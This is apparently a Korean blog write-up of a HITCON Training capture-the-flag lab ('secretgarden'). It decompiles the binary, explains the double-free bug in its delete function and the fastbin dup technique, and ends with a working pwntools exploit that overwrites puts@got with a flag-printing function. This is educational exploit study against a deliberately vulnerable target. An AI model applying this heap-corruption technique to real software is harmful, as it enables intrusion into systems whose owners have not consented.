tmxklab
hitcon training [LAB 12] 본문
이번에는 Free된 Chunk를 검증하지 않아 Double Free Bug가 발생하게 되어 fastbin dup를 이용한 문제풀이를 하겠다.
1. 문제
1) mitigation확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu();
read(0, &buf, 8uLL);
switch ( (unsigned __int64)(unsigned int)atoi(&buf) )
{
case 1uLL:
add();
break;
case 2uLL:
visit();
break;
case 3uLL:
del();
break;
case 4uLL:
clean();
break;
case 5uLL:
puts("See you next time.");
exit(0);
return;
default:
puts("Invalid choice");
break;
}
}
}
3-2) add()
int add()
{
size_t size; // [rsp+0h] [rbp-20h]
void *s; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
s = 0LL;
buf = 0LL;
LODWORD(size) = 0;
if ( (unsigned int)flowercount > 0x63 )
return puts("The garden is overflow");
s = malloc(0x28uLL);
memset(s, 0, 0x28uLL);
printf("Length of the name :");
if ( (unsigned int)__isoc99_scanf("%u", &size) == -1 )
exit(-1);
buf = malloc((unsigned int)size);
if ( !buf )
{
puts("Alloca error !!");
exit(-1);
}
printf("The name of flower :");
read(0, buf, (unsigned int)size);
*((_QWORD *)s + 1) = buf;
printf("The color of the flower :");
__isoc99_scanf("%23s", (char *)s + 16);
*(_DWORD *)s = 1;
for ( HIDWORD(size) = 0; HIDWORD(size) <= 0x63; ++HIDWORD(size) )
{
if ( !*(&flowerlist + HIDWORD(size)) )
{
*(&flowerlist + HIDWORD(size)) = s;
break;
}
}
++flowercount;
return puts("Successful !");
}
-
s변수에 0x28만큼 malloc요청을 한다.
-
size값을 받아 buf에 size만큼 malloc요청하고 buf에 size만큼 입력 값을 저장한다.
-
(DWORD)s에 1을 저장하고, (QWORD)s+1에 buf의 주소 값을 저장하고 (char*)s +16에 문자열을 저장한다.(color)
-
마지막으로 flowerlist(전역변수) + HIDWORD(size)에 s의 주소 값을 저장하고 flowercount(전역변수)를 증가시킨다.
3-3) visit()
int visit()
{
__int64 v0; // rax
unsigned int i; // [rsp+Ch] [rbp-4h]
LODWORD(v0) = flowercount;
if ( flowercount )
{
for ( i = 0; i <= 0x63; ++i )
{
v0 = (__int64)*(&flowerlist + i);
if ( v0 )
{
LODWORD(v0) = *(_DWORD *)*(&flowerlist + i);
if ( (_DWORD)v0 )
{
printf("Name of the flower[%u] :%s\n", i, *((_QWORD *)*(&flowerlist + i) + 1));
LODWORD(v0) = printf("Color of the flower[%u] :%s\n", i, (char *)*(&flowerlist + i) + 16);
}
}
}
}
else
{
LODWORD(v0) = puts("No flower in the garden !");
}
return v0;
}
-
flowerlist에 담긴 flower에 대한 flower name, flower color를 출력해준다.
3-4) del()
int del()
{
int result; // eax
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !flowercount )
return puts("No flower in the garden");
printf("Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x63 && *(&flowerlist + v1) )
{
*(_DWORD *)*(&flowerlist + v1) = 0;
free(*((void **)*(&flowerlist + v1) + 1));
result = puts("Successful");
}
else
{
puts("Invalid choice");
result = 0;
}
return result;
}
-
v1에 입력 값을 받아 flowerlist + v1에 0을 넣고 ((void **)(&flowerlist + v1) + 1)을 free시킨다. → 아까 add함수에서 flowerlist에 s의 주소 값을 넣었는데, (DWORD)s에는 각각 1이 저장되어 있다. 아마도 flower가 존재하는지 파악하는 flag값인 듯 그래서 이거를 0으로 세팅하고(없애니깐) flowerlist + v1에서 다시 +1을 하면 flower의 이름이 저장된 buf주소 값인데 이거를 free시킴
3-5) clean()
int clean()
{
unsigned int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 0x63; ++i )
{
if ( *(&flowerlist + i) && !*(_DWORD *)*(&flowerlist + i) )
{
free(*(&flowerlist + i));
*(&flowerlist + i) = 0LL;
--flowercount;
}
}
return puts("Done!");
}
-
del함수가 했었던 것과 동일하게 하지만 선택적으로 하는 것이 아니라 flowerlist에 존재하는 모든 것들을 0으로 세팅하고 free
3-6) magic()
void __noreturn magic()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf; // [rsp+10h] [rbp-70h]
unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("/home/babysecretgarden/flag", 0);
read(fd, &buf, 0x64uLL);
close(fd);
printf("%s", &buf);
exit(0);
}
-
이번에도 magic함수가 주어졌다.
전역변수)
2. 접근방법
1) 취약점이 발생하는 곳
free된 Chunk에 대한 검증을 하지 않아 Double Free Bug가 발생
printf("Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x63 && *(&flowerlist + v1) )
{
*(_DWORD *)*(&flowerlist + v1) = 0;
free(*((void **)*(&flowerlist + v1) + 1));
result = puts("Successful");
}
-
위 코드는 del()에서 일부분 가져온 것이다.
-
*(_DWORD )(&flowerlist + v1)에 0을 넣은 후 flower name에 대한 값이 저장되어 있는 ((void **)(&flowerlist + v1) + 1)을 free시킨다.
-
하지만, 이미 *(_DWORD )(&flowerlist + v1)이 0으로 세팅되어도 검증하는 부분이 없어 free된 chunk를 다시 free할 수 있다.
다음 디버깅을 통해 확인해보자
-
현재 add()를 2번 호출하여 flower에 대한 정보를 담은 0x603000, 0x603460 chunk와 flower name에 대한 입력 값을 담은 0x603440, 0x603490 chunk가 존재한다.
-
이후에 다시 0번, 1번인덱스 순으로 free하였으므로 flower name을 담은 0x603440, 0x603490이 free되었다.
-
fastbin[0]에 리스트가 생기며 fastbin이므로 bk는 존재하지 않는다.
-
여기서 이제 한 번더 free를 할 것이다.(0번 또는 1번, 여기서는 0번 인덱스)
-
free된 chunk에 대한 검증이 이루어지지 않아 다시 free가 가능하며
-
free chunk A → free chunk B → free chunk A → ....
-
위와 같이 fastbin에 반복된 배치 리스트가 생성된다.
2) fastbin dup(duplicate)
fastbin dup는 fastbin에 반복된 배치 리스트를 이용한 공격이며,fastbin dup을 이용하면 원하는 주소에 값을 쓸 수 있다.
(원하는 주소에 값을 작성하기 위해 fake chunk를 생성해야 함)
따라서, magic함수를 실행시키는 것이 목적이므로 여기서는 puts()의 got에 magic()의 주소 값을 작성하도록 한다.
3) 공격 프로세스
-
동일한 크기의 Chunk 2개를 malloc한다.
-
첫 번째 → 두 번째 → 첫 번째 순으로 free시킨다.
-
동일한 크기의 Chunk 1개를 malloc한다.(Fake Chunk생성)
-
동일한 크기의 Chunk 2개를 malloc한다.(그럼 위 사진에서 fastbin에 fake chunk만 존재)
-
fake chunk에 원하는 값을 작성한다.
이 때, fake chunk는 원하는 주소에 위치하도록 chunk의 구조에 잘 맞춰서 작성해야한다. (여기서는 puts@got이며 낮은 주소 방향으로 찾아야 한다. 왜냐하면 원하는 주소에 fake chunk가 될만한 값이 없을 수 있으니깐 낮은 주소 방향으로 찾은 다음 입력 값을 채울 때 높은 주소 방향으로 채워지므로 원하는 주소에 값을 작성할 수 있음)
3. 풀이
1) puts@got 및 fake chunk 찾기
-
puts@got : 0x602020
-
fake chunk address : 0x601ffa
-
prev_size : 0x0, size : 0x60(96)
-
fake chunk의 크기가 0x60(96)이므로 malloc 요청 시 동일한 사이즈를 요청해야 하므로 header크기 0x10(16)을 뺀 80을 요청해야 함
2) 익스 코드
from pwn import *
#context.log_level = "debug"
p = process("./secretgarden")
e = ELF("./secretgarden")
#gdb.attach(p)
magic_addr = e.symbols['magic']
fake_chunk = 0x601ffa
log.info("magic() addr :"+hex(magic_addr))
def add_flower(size, name, color):
p.sendlineafter(":", str(1))
p.sendlineafter(":", str(size))
p.sendlineafter(":", name)
p.sendlineafter(":", color)
def del_flower(idx):
p.sendlineafter(":", str(3))
p.sendlineafter(":", str(idx))
# 1. Creation 2 Chunk
add_flower(80, "f1", "r")
add_flower(80, "f2", "g")
# 2. Double Free
del_flower(0)
del_flower(1)
del_flower(0)
# 3. Creation Fake Chunk & write magic() at puts@got
add_flower(80, p64(fake_chunk), "r")
add_flower(80, "f1", "g")
add_flower(80, "f2", "b")
add_flower(80, "A"*14+p64(magic_addr)*2, "r")
p.interactive()
3) 실행결과
4. References
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 14] (0) | 2020.07.31 |
---|---|
hitcon training [LAB 13] (0) | 2020.07.28 |
hitcon training [LAB 11] (0) | 2020.07.25 |
hitcon training [LAB 10] (0) | 2020.07.21 |
hitcon training [LAB 9] (0) | 2020.07.21 |